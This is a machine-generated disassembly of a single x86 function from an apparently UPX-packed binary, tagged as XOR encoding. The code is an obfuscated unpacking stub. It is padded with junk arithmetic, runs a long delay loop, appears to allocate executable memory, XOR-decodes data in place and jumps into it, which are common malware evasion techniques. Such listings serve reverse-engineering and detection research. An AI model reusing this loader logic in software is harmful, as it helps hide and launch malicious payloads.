Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x93a60058
mov edx, eax
or edx, eax
sub edx, 0x20d4e3c5
popal
add eax, edx
mov eax, 0x6d0b086e
mov edx, 0xdbb6acb7
mov ecx, 0
mov ebx, eax
add edi, 0xe61f2f
or edx, edi
or edi, edi
mov esi, ebx
or edi, edi
add edi, 0x4a421c5f
dec edi
mov eax, esi
mov edi, 0x3d259bf3
sub edx, 0xb628528e
inc ecx
add edx, 0x6377edcb
not edi
and edx, edi
cmp ecx, 0x1005128
jne 0xa789ce
add edx, 0x6c7e53be
sub edi, 0xf04c03ee
sub eax, 1
or eax, eax
mov esi, 0xa78796
mov edi, 0xf2fd265b
not edi
mov ebx, 0xa7898a
add edi, edi
sub ecx, edi
sub edi, 0x7d8834be
mov eax, dword [esi]
mov edx, 0x84acbd84
mov edx, ecx
and eax, 0xff
or edx, ecx
mov edi, edx
dec ecx
xor dword [ebx], eax
sub ecx, 0x55cc3a3e
mov edi, ecx
dec edi
add ebx, 1
sub edi, edx
add edi, edx
not edi
inc esi
mov ecx, edx
and edi, ecx
inc ecx
cmp ebx, entry0
jl 0xa78a38
sub ecx, 0x11de2678
not edx
add ecx, edx
and ecx, edx
mov ecx, 0xcc792157
sub ecx, 0xa763eac8
sub ebx, edx
mov edi, 0xa7898e
mov ebx, ecx
sub ecx, 1
mov edi, dword [edi]
dec edx
mov edx, 0x6e9250c3
add edx, edx
mov edi, dword [edi]
dec ebx
sub ebx, edx
or ecx, ecx
push edi
dec ecx
or edx, edx
mov edi, 0xa7898a
add esi, 0xe763fcb4
sub ecx, ebx
mov edi, dword [edi]
mov edx, 0xd5e68952
or ebx, esi
mov edi, dword [edi]
sub ecx, 0xdb2a655
not ebx
not esi
sub esp, 4
mov dword [esp], 0xa78992
sub ecx, 0xb1805dcf
sub esi, ecx
call edi
and esi, ecx
mov esi, 0x706b7d08
add ecx, 0xee0acbd9
mov edi, dword [esp]
add esp, 4
mov ecx, 0xe558e612
sub esi, ecx
sub esp, 4
mov dword [esp], 0xa7899f
mov ecx, ebx
inc ecx
push eax
add esi, 0xe51d85db
add ebx, 0x4bdc9238
or edx, edx
call edi
or edx, edx
mov ebx, 0x444e6646
add edx, 0x3b8cc9bb
push 0x40
inc ecx
add ecx, edx
push 0x3000
sub ebx, 0x22d2b9a2
or edx, esi
push 0x20000cf5
add ebx, 0x5c886b97
mov edx, ecx
push 0
or esi, edx
dec edx
call eax
and edx, esi
add ecx, edx
sub ecx, ebx
add eax, 0x20000c46
add esi, ecx
and edx, ecx
mov edi, 0xb48198b1
mov edx, ebx
sub ebx, esi
and esi, ecx
mov dword [eax], edi
or ebx, esi
sub edx, 0x13e6f376
not ecx
mov edi, dword [eax]
or esi, edx
sub ebx, esi
mov esi, edx
cmp edi, 0xb48198b1
je 0xa78b95
mov eax, 0
mov dl, byte [eax]
dec ecx
and esi, ecx
mov ecx, edx
inc ebx
add ebx, 0xc049b77b
add edx, 0xa833e56b
or edx, edx
mov eax, 0xa447e1ab
mov ebx, section.UPX1
inc edx
or eax, eax
mov ecx, 0xa78795
and edx, edx
add edx, edx
or edx, edx
mov esi, 0
dec edx
sub eax, 0x70c2b567
sub eax, 0x1945fd28
mov edi, 0xa78796
not eax
dec eax
sub edx, 0x901985f4
lea edi, [edi + esi]
sub edx, 0xb4e4838e
or edx, eax
add eax, edx
mov edi, dword [edi]
and eax, eax
sub edx, 0x7399e9f9
sub eax, edx
and edi, 0xff
add edx, edx
or eax, eax
add eax, 0x6ebba0c3
inc esi
or edx, edx
inc eax
cmp esi, 0x1f4
jne 0xa78c1b
mov esi, 0
dec edx
mov edx, eax
and edx, edx
mov eax, 0x375f54f3
or eax, edx
xor dword [ebx], edi
dec eax
sub eax, edx
inc eax
add ebx, 2
or eax, eax
mov eax, 0xdd7daa56
add edx, 0xa864ccec
cmp ebx, ecx
jl 0xa78bd3
inc eax
not eax
add edx, 1
sub edx, 0x75674cf2
mov eax, 0x690f2677
mov edi, section.UPX1
mov ebx, 0x4d6c98d6
add ebx, ebx
inc ebx
mov eax, section.UPX1
mov ebx, 0xf39779
not ebx
mov edx, 0xa78795
sub ebx, 1
sub ebx, esi
or esi, ebx
mov ecx, 0
add ebx, 1
sub ebx, 0x1561a205
add esi, 0x2cae8203
mov cl, byte [eax]
not ebx
mov ebx, esi
mov byte [edi], cl
not ebx
mov esi, 0x8305aa12
mov esi, ebx
inc edi
mov ebx, esi
mov ebx, 0xb8e9a986
add eax, 2
add esi, 1
add esi, ebx
cmp eax, edx
jle 0xa78c9b
add ebx, esi
sub ebx, 0xccbe3ee0
and eax, eax
mov edx, eax
and edx, eax
push 0x8dc6a0
dec edx
mov eax, 0x1bd11bab
ret